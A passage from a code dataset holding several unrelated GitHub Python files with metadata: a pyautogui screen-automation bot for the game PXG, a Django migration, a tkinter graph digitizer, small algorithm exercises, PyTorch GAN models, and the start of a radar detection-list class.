pyautogui.click()\n else:\n pyautogui.rightClick()\n sleep(0.1)\n\ndef useReviveInBattle():\n print('Use revive in battle...')\n revive = None\n while revive == None:\n revive = pyautogui.locateOnScreen(\"assets/potions/revive_potion.jpg\", region=BPREGION, confidence=0.9)\n if revive == None:\n print('Revive potion not detected...')\n clickOnScreen(POKE_IMAGE_REGION)\n clickOnScreen(revive, 'right')\n clickOnScreen(POKE_IMAGE_REGION)\n clickOnScreen(POKE_IMAGE_REGION)\n\ndef checkRevive():\n # print('Check Revive...')\n deadPokeball = pyautogui.locateOnScreen(\"assets/general/pokeballOff.jpg\", region=(0,0,100,100), confidence=0.99)\n while deadPokeball != None:\n print('Try Reviving your pokemon..')\n revive = None\n while revive == None:\n revive = pyautogui.locateOnScreen(\"assets/potions/revive_potion.jpg\", region=BPREGION, confidence=0.9)\n if revive == None:\n print('Revive potion not detected...')\n clickOnScreen(revive, 'right')\n clickOnScreen(deadPokeball)\n clickOnScreen(deadPokeball) \n deadPokeball = pyautogui.locateOnScreen(\"assets/general/pokeballOff.jpg\", region=(0,0,100,100), confidence=0.99)\n return True\n if deadPokeball == None:\n # print('Your pokemon is alive...')\n return False\n \ndef useAllAtacks():\n for skill in skillList:\n myKeyboard.press(skill)\n\ndef getFish():\n print('Pull fishing rod and get fish')\n fishingRod = pyautogui.locateOnScreen(\"assets/general/fishingRod.jpg\", confidence=0.75)\n if fishingRod != None:\n clickOnScreen(fishingRod)\n sleep(1) # Wait minigame to start\n solveMinigame()\n else:\n print('Fishing rod not detected...')\n\ndef startFishing():\n print('Start fishing...')\n global botWormsCount\n botWormsCount += 1\n\n waterSQM = None\n while waterSQM == None:\n waterSQM = pyautogui.locateOnScreen(\"assets/general/waterToFishSQM.jpg\", region=getCenterScreenRegion(600), confidence=0.75)\n\n fishingRod = pyautogui.locateOnScreen(\"assets/general/fishingRod.jpg\", confidence=0.75)\n if fishingRod != None:\n clickOnScreen(fishingRod)\n clickOnScreen(waterSQM)\n else:\n print('Fishing rod not detected...')\n\ndef lootAround():\n print('Looting around...')\n myKeyboard.press(LOOT_KEY)\n sleep(0.3)\n\ndef solveMinigame():\n def getFish():\n return pyautogui.locateOnScreen(\"assets/general/minigameFish.jpg\", confidence=0.65, grayscale=True)\n def getGameBar():\n return pyautogui.locateOnScreen(\"assets/general/minigameBar.jpg\", confidence=0.87)\n \n BACKSPACE_KEY=0x39\n fish = getFish()\n\n if fish != None:\n print('Detected minigame, try to solve...')\n\n while fish != None:\n bar = getGameBar()\n fish = getFish()\n\n if bar != None and fish != None:\n if fish.top < bar.top:\n myKeyboard.key_down(BACKSPACE_KEY)\n else:\n myKeyboard.release_key(BACKSPACE_KEY)\n else: \n myKeyboard.key_down(BACKSPACE_KEY)\n myKeyboard.release_key(BACKSPACE_KEY) \n\ndef checkAndPutPokemonInBattle():\n pokeInBattle = pyautogui.locateOnScreen(f\"assets/attack/{MY_POKE_NAME}_battle.jpg\", region=BPREGION, confidence=0.90)\n if pokeInBattle == None:\n if checkRevive():\n return\n print(\"Put pokemon in battle..\")\n myKeyboard.key_down(0x1D)\n myKeyboard.press('F1')\n myKeyboard.release_key(0x1D)\n\ndef checkLifeToRevive():\n life = extractPokemonLife()\n if life <= REVIVE_THRASHOLD:\n useReviveInBattle()\n\ndef atackPokemon(pokeTargetSQM, pokeName = ''):\n print('Start attack wild pokemon: ', pokeName) \n clickOnScreen(pokeTargetSQM)\n global totalBattleCount\n totalBattleCount += 1\n\n attacking = True\n while attacking:\n checkRevive()\n checkLifeToRevive() \n attacking = getAttackingPokemonRegion(pokeName)\n if attacking != None:\n useAllAtacks()\n else:\n print('Wild pokemon is dead...')\n attacking = False\n\ndef attackPokemonsOnScreen():\n hasPokemon = True\n killOne = False\n while hasPokemon:\n wasAttacked = False\n for name in attackList:\n pokemon = pyautogui.locateOnScreen(f\"assets/attack/{name}_battle.jpg\", region=BPREGION, confidence=0.90)\n if pokemon != None:\n wasAttacked = True\n killOne = True\n checkAndPutPokemonInBattle()\n atackPokemon(pokemon, name)\n break \n if not wasAttacked:\n hasPokemon = False\n\n if not killOne:\n print(\"No Pokemons To Attack..\")\n \n return killOne\n\ndef pokebola(corpseSQM, pokeName = '-'):\n print(f'Use {POKEBALL_TYPE}ball on corpse: ', pokeName)\n\n if(pokeName.startswith('shiny_')):\n global shinyCatchCount\n shinyCatchCount += 1\n else:\n global pokeCatchCount\n pokeCatchCount += 1\n\n pokebalItem = pyautogui.locateOnScreen(f\"assets/pokeballs/{POKEBALL_TYPE}_ball.jpg\", region=BPREGION, confidence=0.95)\n if pokebalItem != None:\n clickOnScreen(pokebalItem, 'right')\n clickOnScreen(corpseSQM)\n else:\n print(\"Pokeball not detected...\")\n\ndef catchPokemonsOnScreen():\n hasPokemon = True\n while hasPokemon:\n wasUsePokeball = False\n for name in catchList:\n pokemon = pyautogui.locateOnScreen(f\"assets/catch/{name}_corpse.jpg\", confidence=0.9)\n if pokemon != None:\n pokebola(pokemon, name)\n wasUsePokeball = True\n break\n if not wasUsePokeball:\n print(\"No Pokemons To Catch..\")\n hasPokemon = False\n\ndef checkPokeHappyness():\n # print(\"Check Pokemon Happyness...\")\n rageStatus = pyautogui.locateOnScreen(\"assets/poke-status/rage_status.jpg\", confidence=0.9)\n badStatus = pyautogui.locateOnScreen(\"assets/poke-status/bad_status.jpg\", confidence=0.9)\n sadStatus = pyautogui.locateOnScreen(\"assets/poke-status/sad_status.jpg\", confidence=0.9)\n\n if rageStatus != None:\n print(\"Give love to pokemon...\")\n clickOnScreen(rageStatus)\n elif badStatus != None:\n print(\"Give love to pokemon...\")\n clickOnScreen(badStatus)\n elif sadStatus != None:\n print(\"Give love to pokemon...\")\n clickOnScreen(sadStatus)\n \ndef myPokeIsHungry():\n original_image = cv2.imread(\"assets/poke-status/hungry_status.jpg\")\n _, original_image_bw = cv2.threshold(original_image, 128, 255, cv2.THRESH_BINARY)\n cv2.imwrite(\"assets/temp/current_poke_hungry_status.jpg\", original_image_bw)\n\n imagem_alvo = cv2.imread(\"assets/temp/current_poke_hungry_status.jpg\")\n\n tela = pyautogui.screenshot(region=(0, 0, 300, 300))\n imagem_tela = np.array(tela)\n imagem_tela_rgb = cv2.cvtColor(imagem_tela, cv2.COLOR_BGR2RGB)\n\n limite_inferior = np.array([0, 0, 100])\n limite_superior = np.array([100, 100, 255])\n\n mascara_vermelha = cv2.inRange(imagem_tela_rgb, limite_inferior, limite_superior)\n\n imagem_tela_mascarada = cv2.bitwise_and(imagem_tela, imagem_tela, mask=mascara_vermelha)\n\n resultado = cv2.matchTemplate(imagem_tela_mascarada, imagem_alvo, cv2.TM_CCOEFF_NORMED)\n _, max_val, _, max_loc = cv2.minMaxLoc(resultado)\n\n limite_confianca = 0.35\n\n if max_val >= limite_confianca:\n x, y = max_loc\n w, h = imagem_alvo.shape[1], imagem_alvo.shape[0]\n return [x, y, w, h]\n else:\n return None\n\ndef checkAndGivePokeFood():\n # print('Check If Pokemon is Hungry...')\n myPokeSQM = getMyPokeBattleRegion()\n hungryStatus = myPokeIsHungry()\n if hungryStatus != None:\n print(f\"Give {FOOD_TYPE} food to pokemon...\")\n foodItem = pyautogui.locateOnScreen(f\"assets/foods/{FOOD_TYPE}_food.jpg\", confidence=0.95)\n if foodItem != None:\n clickOnScreen(foodItem, 'right')\n if myPokeSQM != None:\n clickOnScreen(myPokeSQM)\n sleep(0.3)\n else:\n print(\"Your pokemon not detected...\")\n else:\n print(\"Food not detected...\")\n # else:\n # print(\"Your pokemon is not hungry...\")\n\ndef usePotionInPokemon(potion):\n print(\"Use potion in pokemon: \" + potion + ' potion')\n potionItem = pyautogui.locateOnScreen(f\"assets/potions/{potion}_potion.jpg\", region=BPREGION, confidence=0.9)\n if potionItem != None:\n clickOnScreen(potionItem, 'right')\n MyPokeBattle = pyautogui.locateOnScreen(\"assets/attack/mypoke_battle.jpg\", confidence=0.98)\n if MyPokeBattle != None:\n clickOnScreen(MyPokeBattle)\n else:\n print(\"My pokemon not detected...\")\n else:\n print(\"Potion not detected...\")\n\ndef checkPokeLife():\n # print('Check Pokemon Life...')\n life = extractPokemonLife()\n print(\"Pokemon Life:\", life)\n if life <= POTION_THRASHOLD:\n usePotionInPokemon(POTION_TYPE)\n\ndef getBPRegion():\n initialBPArea = pyautogui.locateOnScreen(\"assets/general/initialBPArea.jpg\", confidence=0.9)\n endBPArea = pyautogui.locateOnScreen(\"assets/general/endBPArea.jpg\", confidence=0.9)\n if initialBPArea != None and endBPArea != None:\n position_x, position_y = pyautogui.center(initialBPArea)\n position_x2, position_y2 = pyautogui.center(endBPArea)\n screenYSize = pyautogui.size()[1]\n \n bpArea = (position_x, 0, position_x2 - position_x, screenYSize)\n print(\"BP Area detected: \", bpArea)\n return bpArea\n else:\n print(\"BP Area not detected...\")\n sys.exit(1)\n return None\n\ndef getLifeRegion():\n life = pyautogui.locateOnScreen(\"assets/general/lifeArea.jpg\", region=(0,0,300,100), confidence=0.5, grayscale=True)\n if life != None:\n area = (life.left, life.top, life.width, life.height)\n print(\"Life Area detected: \", area)\n else:\n print(\"Life Area not detected...\")\n sys.exit(1)\n \n return life\n\n\n\n\nprint(\"################################################\")\nprint(\"PXG Fishing Bot Started!!\")\nprint(\"Please, start fishing on game.\")\nprint(\"Press Ctrl-C to quit.\")\nprint(\"################################################\")\n\nBPREGION = getBPRegion()\nLIFEREGION = getLifeRegion()\nsleep(0.25)\ncheckRevive()\nsleep(0.25)\ncheckPokeLife()\nsleep(0.25)\ncheckAndPutPokemonInBattle()\nsleep(0.25)\nattackPokemonsOnScreen()\nsleep(0.25)\nlootAround()\nsleep(0.25)\ncatchPokemonsOnScreen()\nsleep(0.25)\n\nwhile True:\n bolhas = pyautogui.locateOnScreen(\"assets/general/bubbleSQM.jpg\", region=getCenterScreenRegion(600), confidence=0.75)\n fishing = charIsFishing()\n\n if fishing == None:\n print('Fishing not detected...')\n startFishing()\n print(\"Wait fish to bite the hook...\")\n\n if bolhas != None:\n print('Fishing bubbles detected...')\n checkAndPutPokemonInBattle()\n getFish()\n\n if(len(attackList) > 0):\n if attackPokemonsOnScreen():\n lootAround()\n if len(catchList) > 0:\n catchPokemonsOnScreen()\n\n print(\"################################################\")\n print('CONTADOR DE ISCAS:', botWormsCount)\n print('POKEBALLS EM SHINY:', shinyCatchCount)\n print('POKEBALLS EM POKE:', pokeCatchCount)\n print('TOTAL POKES DERROTADOS:', totalBattleCount)\n \n \n checkPokeLife()\n checkPokeHappyness()\n checkAndGivePokeFood()\n print(\"Waiting pokemon rest time...\")\n sleep(RESTING_TIME)\n\n","repo_name":"pumba-dev/pxg-fishing-bot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":15871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13476744566","text":"# -*- coding: utf-8 -*-\n\n\nfrom django.db import migrations, models\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('linapp', '0002_split_to_apps'),\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n state_ops = [\n migrations.CreateModel(\n name='MachineType',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('company', models.CharField(max_length=50)),\n ('model', models.CharField(max_length=50)),\n ],\n ),\n migrations.CreateModel(\n name='Machine',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('machineid', models.CharField(max_length=50)),\n ('name', models.CharField(max_length=100, null=True, blank=True)),\n ('type', models.ForeignKey(to='runs.MachineType')),\n ],\n ),\n migrations.CreateModel(\n name='NGSRun',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(unique=True, max_length=100)),\n ('date', models.DateField()),\n ('machine', models.ForeignKey(to='runs.Machine')),\n ('user', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n ],\n ),\n ]\n\n operations = [\n migrations.SeparateDatabaseAndState(\n state_operations=state_ops,\n ),\n ]\n","repo_name":"shapirolab/clineage","sub_path":"sequencing/runs/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"31"} +{"seq_id":"74043123927","text":"\nimport tkinter as tk\nimport tkinter.filedialog\nimport dill\nimport DigitizingWindow\nimport numpy as np\n\n\n\nclass Curve(object):\n def __init__(self):\n self.ID = 'None'\n self.comment = ''\n self.y=None\n self.x=None\n\n def set_ID(self, ID):\n self.ID = ID\n\n def set_comment(self, comment):\n self.comment = comment\n\n def set_xy(self, x, y):\n self.x=x\n self.y=y\n\nclass DigitizerGUI(object):\n def __init__(self, master):\n self.project=[]\n self.project.append(Curve())\n self.current_index=0\n\n self.master=master\n\n master.title('Digitizer')\n menu=tk.Menu(master)\n master.config(menu=menu)\n ######## subMenu #########################\n subMenu=tk.Menu(menu)\n menu.add_cascade(label='File', menu=subMenu)\n subMenu.add_command(label='New project', command=self.new_project)\n subMenu.add_command(label='Save as... project', command=self.saveAs_project)\n subMenu.add_command(label='Save project', command=self.save_project)\n subMenu.add_command(label='Load project', command=self.load_project)\n subMenu.add_separator()\n subMenu.add_command(label='Exit', command=self.exit_func)\n\n ###################################################################\n ###### Frames #######################################\n main_frame = tk.Frame(master)\n main_frame.pack(side=tk.TOP, fill=tk.X)\n\n bottom_frame=tk.Frame(master)\n bottom_frame.pack(side=tk.TOP, fill=tk.X)\n\n\n main_frame_top=tk.Frame(main_frame)\n main_frame_top.pack(side=tk.TOP, fill=tk.X, anchor=tk.E)\n main_frame_left = tk.Frame(main_frame)\n main_frame_left.pack(side=tk.LEFT, anchor=tk.N + tk.E)\n main_frame_center = tk.Frame(main_frame)\n main_frame_center.pack(side=tk.LEFT, anchor=tk.N, expand=tk.NO)\n main_frame_right = tk.Frame(main_frame)\n main_frame_right.pack(side=tk.LEFT, anchor=tk.N + tk.W , expand=tk.YES)\n\n ##################################################\n #Top\n\n tk.Label(main_frame_left, text='List of curves').pack()\n self.curve_list=tk.Listbox(main_frame_left, exportselection=False)\n self.curve_list.pack()\n self.print_curve_list()\n #self.listVar.trace('w', self.print_article_list)\n self.curve_list.bind('<>', self.selected_curve)\n\n\n\n\n\n #################################################################\n #Digitizer\n button_add_from_graph = tk.Button(main_frame_center, text='New overlay', bg='Yellow', command=self.open_new_transparent_window)\n button_add_from_graph.grid(row=1, column=1, sticky=tk.W + tk.E)\n button_add_from_graph = tk.Button(main_frame_center, text='New curve', command=self.new_curve)\n button_add_from_graph.grid(row=2, column=1, sticky=tk.W + tk.E)\n button_add_from_graph = tk.Button(main_frame_center, text='Clear points', command=self.clear_points)\n button_add_from_graph.grid(row=3, column=1, sticky=tk.W + tk.E)\n button_set_origo = tk.Button(main_frame_center, text='Set origo', command=self.set_origo)\n button_set_origo.grid(row=4, column=1, sticky=tk.W + tk.E)\n button_set_x = tk.Button(main_frame_center, text='Set point on X', command=self.set_x_reference)\n button_set_x.grid(row=5, column=1, sticky=tk.W + tk.E)\n button_set_y = tk.Button(main_frame_center, text='Set point on Y', command=self.set_y_reference)\n button_set_y.grid(row=6, column=1, sticky=tk.W + tk.E)\n button_add_points = tk.Button(main_frame_center, text='Add graph points', bg='violet', command=self.add_points)\n button_add_points.grid(row=7, column=1, sticky=tk.W + tk.E)\n button_assign_data = tk.Button(main_frame_center, text='Assign data to curve', bg='green',\n command=self.assign_to_curve)\n button_assign_data.grid(row=8, column=1, sticky=tk.W + tk.E)\n\n\n\n ###################################\n #LogAxis\n self.log_axis_x = tk.IntVar()\n self.log_axis_y = tk.IntVar()\n self.start_in_origo = tk.IntVar()\n cButton_logX = tk.Checkbutton(\n main_frame_center, text=\"log axis X\", variable=self.log_axis_x,\n onvalue=1, offvalue=0)\n cButton_logY = tk.Checkbutton(\n main_frame_center, text=\"log axis Y\", variable=self.log_axis_y,\n onvalue=1, offvalue=0)\n cButton_logX.grid(row=5, column=2, sticky=tk.W + tk.E)\n cButton_logY.grid(row=6, column=2, sticky=tk.W + tk.E)\n\n cButton_incl_origo= tk.Checkbutton(\n main_frame_center, text=\"Start in 0\", variable=self.start_in_origo,\n onvalue=1, offvalue=0)\n cButton_incl_origo.grid(row=7, column=2, sticky=tk.W + tk.E)\n\n ############################################################\n #Curve data\n tk.Label(main_frame_right, text = 'Curve data', bg = 'gray').grid(row=0, columnspan=2, sticky= tk.E + tk.W)\n\n main_frame_right.columnconfigure(1, weight=5)\n main_frame_right.columnconfigure(1, weight=1)\n\n tk.Label(main_frame_right, text = 'ID').grid(row=1, sticky=tk.W)\n self.entry_ID=tk.Entry(main_frame_right)\n self.entry_ID.grid(row=1, column=1, sticky = tk.E+tk.W)\n self.entry_ID.bind('', self.update_ID)\n tk.Label(main_frame_right, text='Comment').grid(row=2, sticky=tk.W)\n self.entry_comment = tk.Entry(main_frame_right)\n self.entry_comment.grid(row=2, column=1, sticky = tk.E+tk.W)\n self.entry_comment.bind('', self.update_comment)\n\n\n ####################################################\n #Bottom\n tk.Label(bottom_frame, text='Data, [x,...][y, ...]').pack(anchor=tk.N+tk.W)\n self.dataText = tk.Text(bottom_frame, exportselection=False)\n self.dataText.pack(side=tk.LEFT, anchor=tk.N)\n scrollbar=tk.Scrollbar(bottom_frame)\n scrollbar.pack(side=tk.RIGHT, fill=tk.Y)\n self.dataText.config(yscrollcommand=scrollbar.set)\n scrollbar.config(command=self.dataText.yview)\n\n\n\n\n ################################################################\n #Transparent window\n def open_new_transparent_window(self):\n try:\n self.slave.destroy()\n del self.transparent_window\n except:\n pass\n self.slave = tk.Toplevel()\n self.slave.attributes('-alpha', 0.4)\n self.slave.geometry('600x600')\n self.slave.wm_attributes(\"-topmost\", 1)\n self.transparent_window = DigitizingWindow.DrawOnWindow(self.slave)\n\n def set_origo(self):\n try:\n self.transparent_window.axes.promt_origo(self.log_axis_x.get(), self.log_axis_y.get())\n except:\n self.transparent_window.axes = DigitizingWindow.DefineAxes(self.transparent_window)\n self.transparent_window.axes.promt_origo(self.log_axis_x.get(), self.log_axis_y.get())\n print (str(self.log_axis_x.get()))\n\n def set_x_reference(self):\n try:\n self.transparent_window.axes.promt_x_axis()\n except:\n self.transparent_window.axes = DigitizingWindow.DefineAxes(self.transparent_window)\n self.transparent_window.axes.promt_x_axis()\n\n def set_y_reference(self):\n try:\n self.transparent_window.axes.promt_y_axis()\n except:\n self.transparent_window.axes = DigitizingWindow.DefineAxes(self.transparent_window)\n self.transparent_window.axes.promt_y_axis()\n\n def add_points(self):\n try:\n self.transparent_window.points.promt_points()\n except:\n self.transparent_window.points = DigitizingWindow.Point(self.transparent_window)\n self.transparent_window.points.promt_points()\n\n def assign_to_curve(self):\n x,y = self.transparent_window.axes.interpolate_data(self.transparent_window.points.point_list)\n if self.start_in_origo.get() == 1:\n x = np.insert(x, 0, 0.0)\n y = np.insert(y, 0, 0.0)\n self.project[self.current_index].set_xy(x,y)\n self.print_data_data()\n\n\n def clear_points(self):\n try:\n self.transparent_window.points.clear_points()\n except:\n self.transparent_window.points = DigitizingWindow.Point(self.transparent_window)\n self.transparent_window.points.clear_points()\n\n def select_regression_area(self):\n try:\n self.transparent_window.draw_rectangle.calculate_line()\n except:\n self.transparent_window.draw_rectangle = DigitizingWindow.DrawRectangle(self.transparent_window)\n self.transparent_window.draw_rectangle.calculate_line()\n\n def calculate_slope(self):\n p0 = self.transparent_window.axes.interp_value([self.transparent_window.axes.origo_loc[0],\n self.transparent_window.draw_rectangle.line[1] + (\n self.transparent_window.axes.origo_loc[0]) *\n self.transparent_window.draw_rectangle.line[0]])\n p1 = self.transparent_window.axes.interp_value([self.transparent_window.axes.origo_loc[0] + 20,\n self.transparent_window.draw_rectangle.line[1] + (\n self.transparent_window.axes.origo_loc[0] + 20) *\n self.transparent_window.draw_rectangle.line[0]])\n\n slope = (p1[0] - p0[0]) / (p1[1] - p0[1])\n print\n p1, p0\n return slope\n ##################################################################\n\n def print_curve_list(self):\n self.curve_list.delete(0, tk.END)\n for item in self.project:\n self.curve_list.insert(tk.END, item.ID)\n self.curve_list.select_set(self.current_index) # This only sets focus on the first item.\n self.curve_list.event_generate(\"<>\")\n\n def print_curve_data(self):\n self.entry_ID.delete(0, tk.END)\n self.entry_ID.insert(0, str(self.project[self.current_index].ID))\n self.entry_comment.delete(0, tk.END)\n self.entry_comment.insert(0, str(self.project[self.current_index].comment))\n\n def print_data_data(self):\n self.dataText.delete(1.0, tk.END)\n self.dataText.insert(1.0, 'np.'+repr(np.array([self.project[self.current_index].x, self.project[self.current_index].y])))\n\n\n def update_ID(self, event):\n self.project[self.current_index].set_ID(str(event.widget.get()))\n self.print_curve_list()\n\n def update_comment(self, event):\n self.project[self.current_index].set_comment(str(event.widget.get()))\n print (self.project[self.current_index].comment)\n\n def selected_curve(self, event):\n self.current_index=event.widget.curselection()[0]\n self.print_curve_data()\n self.print_data_data()\n #print ('{}'.format(self.current_index))\n\n\n def new_curve(self):\n self.project.append(Curve())\n self.print_curve_list()\n\n #### File dropdown################################################\n def new_project(self):\n\n self.project = []\n self.project.append(Curve())\n self.print_curve_list()\n self.saveAs_fileName=None\n #elf.listVar = tk.StringVar()\n\n def saveAs_project(self):\n self.saveAs_fileName = tk.filedialog.asksaveasfilename(defaultextension=\".pkl\")\n with open(self.saveAs_fileName, 'wb') as output:\n dill.dump(self.project, output)\n print ('Saved as {}'.format(self.saveAs_fileName))\n\n def save_project(self):\n try:\n with open(self.saveAs_fileName, 'wb') as output:\n dill.dump(self.project, output)\n print('Saved {}'.format(self.saveAs_fileName))\n except:\n self.saveAs_project()\n\n def load_project(self):\n load_fileName = tk.filedialog.askopenfilename()\n self.saveAs_fileName = load_fileName\n try:\n with open(load_fileName, 'rb') as input_file:\n self.project = dill.load(input_file)\n #Reload curve list\n print ('Loaded {}'.format(self.saveAs_fileName))\n self.print_curve_list()\n except:\n print ('Failed to load {}'.format(self.saveAs_fileName))\n\n def exit_func(self):\n self.master.destroy()\n\n\n\n\nif __name__ == '__main__':\n root = tk.Tk()\n my_gui = DigitizerGUI(root)\n root.mainloop()","repo_name":"DanielThorM/graphDigitizer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24712837078","text":"# K-th element of two sorted Arrays\n# Given two sorted arrays arr1 and arr2 of size N and M respectively and an element K. The task is to find the element that would be at the k’th position of the final sorted array.\n\ndef kthElement (arr1, arr2, n, m, k) :\n arr1.extend(arr2)\n temp = 0\n for i in range (len(arr1)) :\n for j in range (i+1, len(arr1)) :\n if arr1[j] < arr1[i] :\n temp = arr1[j]\n arr1[j] = arr1[i]\n arr1[i] = temp\n return arr1[k-1]\nprint(kthElement(arr1=[2, 3, 6, 7, 9], arr2=[1, 4, 8, 10], n=5, m=4, k=5))\n \n\n\"\"\"Example 1:\n\nInput:\narr1[] = {2, 3, 6, 7, 9}\narr2[] = {1, 4, 8, 10}\nk = 5\nOutput:\n6\nExplanation:\nThe final sorted array would be -\n1, 2, 3, 4, 6, 7, 8, 9, 10\nThe 5th element of this array is 6.\"\"\"\n\n\"\"\"Input:\narr1[] = {100, 112, 256, 349, 770}\narr2[] = {72, 86, 113, 119, 265, 445, 892}\nk = 7\nOutput:\n256\nExplanation:\nFinal sorted array is - 72, 86, 100, 112,\n113, 119, 256, 265, 349, 445, 770, 892\n7th element of this array is 256.\"\"\"","repo_name":"vibhatsu08/python-programs","sub_path":"GFGKthElementOfSortedArray.py","file_name":"GFGKthElementOfSortedArray.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11216170789","text":"import torch\n\ndef block(n_in, n_out):\n return torch.nn.Sequential(\n torch.nn.Linear(n_in, n_out),\n torch.nn.ReLU(inplace= True)\n )\n\nclass MLP(torch.nn.Module):\n def __init__(self, input_size, output_size):\n super().__init__()\n self.input_size = input_size\n self.fc1 = block(input_size, 150)\n self.fc2 = block(150, 100)\n self.fc3 = torch.nn.Linear(100, output_size)\n\n def forward(self, x):\n x = self.fc1(x)\n x = self.fc2(x)\n x = self.fc3(x)\n\n return x\n\nclass Generator(torch.nn.Module):\n def __init__(self):\n super().__init__()\n self.input_size = 100\n self.inp = torch.nn.Sequential(\n torch.nn.Linear(self.input_size, 7*7*128),\n torch.nn.BatchNorm1d(7*7*128)\n )\n self.main = torch.nn.Sequential(\n torch.nn.ConvTranspose2d(128, 64, 4, stride = 2, padding= 1, bias = False),\n torch.nn.BatchNorm2d(64),\n torch.nn.ReLU(True),\n torch.nn.ConvTranspose2d(64, 1, 4, stride = 2, padding= 1, bias= False),\n torch.nn.Tanh()\n )\n \n def forward(self, x):\n x = self.inp(x)\n x = x.view(-1, 128, 7, 7)\n x = self.main(x)\n x = x.view(x.size(0), 28*28)\n return x\n\nclass Discriminator(torch.nn.Module):\n def __init__(self):\n super().__init__()\n self.main = torch.nn.Sequential(\n torch.nn.Conv2d(1, 64, 4, stride = 2, padding=1, bias=False),\n torch.nn.BatchNorm2d(64),\n torch.nn.ReLU(True),\n torch.nn.Conv2d(64, 128, 4, stride = 2, padding=1, bias=False),\n torch.nn.BatchNorm2d(128),\n torch.nn.ReLU(True),\n )\n self.out = torch.nn.Sequential(\n torch.nn.Linear(128 * 7* 7, 1),\n torch.nn.Sigmoid()\n )\n\n def forward(self, x):\n # esperamos vectores a la entrada 28*28\n x = x.view(x.size(0), 1, 28, 28)\n x = self.main(x)\n x = x.view(x.size(0), -1)\n x = self.out(x)\n return x","repo_name":"lesanpi/fashion-gans","sub_path":"rnn.py","file_name":"rnn.py","file_ext":"py","file_size_in_byte":2068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74004963608","text":"import sys\r\nfrom bisect import bisect_left as lower_bound\r\n\r\nread = sys.stdin.readline\r\n\r\nN = int(read())\r\nseq = list(map(int,read().split()))\r\nlis = []\r\n\r\nfor n in seq :\r\n if not lis or lis[-1] < n :\r\n lis.append(n)\r\n else :\r\n idx = lower_bound(lis,n)\r\n lis[idx] = n\r\n\r\nprint(len(seq)-len(lis))\r\n\r\n\r\n","repo_name":"kanghuiseon/algorithmStudy","sub_path":"Rare6_이분탐색/wons/1365_꼬인전깃줄.py","file_name":"1365_꼬인전깃줄.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19787081239","text":"import numpy as np\nimport configparser\nimport csv\n\nclass DetectionPoint(object):\n def __init__(self, mcc=0, x=0.0, y=0.0,\n rvel=0.0, raz=0.0, rrng=0.0):\n self._mcc = mcc\n self._rvel = rvel\n self._x = x\n self._y = y\n self._rho = raz\n self._theta = rrng\n\n def assign_XYvel (self,x,y,rvel):\n self._rvel = rvel\n self._x = x\n self._y = y\n\n def complete_rhotheta_from_cartesian (self):\n self._theta = np.arctan(self._y/self._x)\n self._rho = np.linalg.norm([self._x,self._y])\n\n def get_mcc(self):\n return self._mcc\n\n def get_x(self):\n return self._x\n\n def get_y(self):\n return self._y\n\n def get_rvel(self):\n return self._rvel\n\n def get_rho(self):\n return self._rho\n\n def get_theta(self):\n return self._theta\n\n def get_theta_deg(self):\n return self._theta *180/np.pi\n\n def keys(self):\n class_keys = ['_mcc','_rho','_theta','_rvel','_x','_y']\n return class_keys\n\n\nclass DetectionList(list):\n def __init__(self):\n super().__init__()\n self._y_minmax = [0, 0]\n self._x_minmax = [0, 0]\n self._theta_minmax = [0, 0]\n self._rvel_minmax = [0, 0]\n self._rho_minmax = [0, 0]\n self._mcc_minmax = [0, 0]\n\n self._y_minmax_iter = [0, 0]\n self._x_minmax_iter = [0, 0]\n self._theta_minmax_iter = [0, 0]\n self._rvel_minmax_iter = [0, 0]\n self._rho_minmax_iter = [0, 0]\n self._mcc_minmax_iter = [0, 0]\n\n self._count = 0\n\n def __iter__(self):\n self._count = 0\n return self\n\n def __next__(self):\n if self:\n if self._count > len(self)-1:\n raise StopIteration\n else:\n self._count += 1\n while not(self.test_detection_to_select(self[self._count-1])):\n self._count += 1\n return self[self._count-1]\n else:\n raise StopIteration\n\n def append_detection(self, detection_point):\n self.append(detection_point)\n\n def append_data_from_csv(self,filename):\n with open(filename,newline='') as csvfile:\n reader = csv.DictReader(csvfile)\n for row in reader:\n self.append_detection(DetectionPoint(mcc=int(row['mcc'])))\n self[-1].assign_XYvel(x=float(row['x']), y=float(row['y']), rvel=float(row['vel']))\n self[-1].complete_rhotheta_from_cartesian()\n if len(self)==1:\n self.assign_minmax(self[-1])\n self.assign_minmax_iter(self[-1])\n else:\n self.calculate_minmax(self[-1])\n self.calculate_minmax_iter(self[-1])\n\n def assign_minmax(self,detection):\n self._mcc_minmax[0] = detection._mcc\n self._mcc_minmax[1] = detection._mcc\n self._x_minmax[0] = detection._x\n self._x_minmax[1] = detection._x\n self._y_minmax[0] = detection._y\n self._y_minmax[1] = detection._y\n self._rho_minmax[0] = detection._rho\n self._rho_minmax[1] = detection._rho\n self._theta_minmax[0] = detection._theta\n self._theta_minmax[1] = detection._theta\n self._rvel_minmax[0] = detection._rvel\n self._rvel_minmax[1] = detection._rvel\n\n def assign_minmax_iter(self,detection):\n self._mcc_minmax_iter[0] = detection._mcc\n self._mcc_minmax_iter[1] = detection._mcc\n self._x_minmax_iter[0] = detection._x\n self._x_minmax_iter[1] = detection._x\n self._y_minmax_iter[0] = detection._y\n 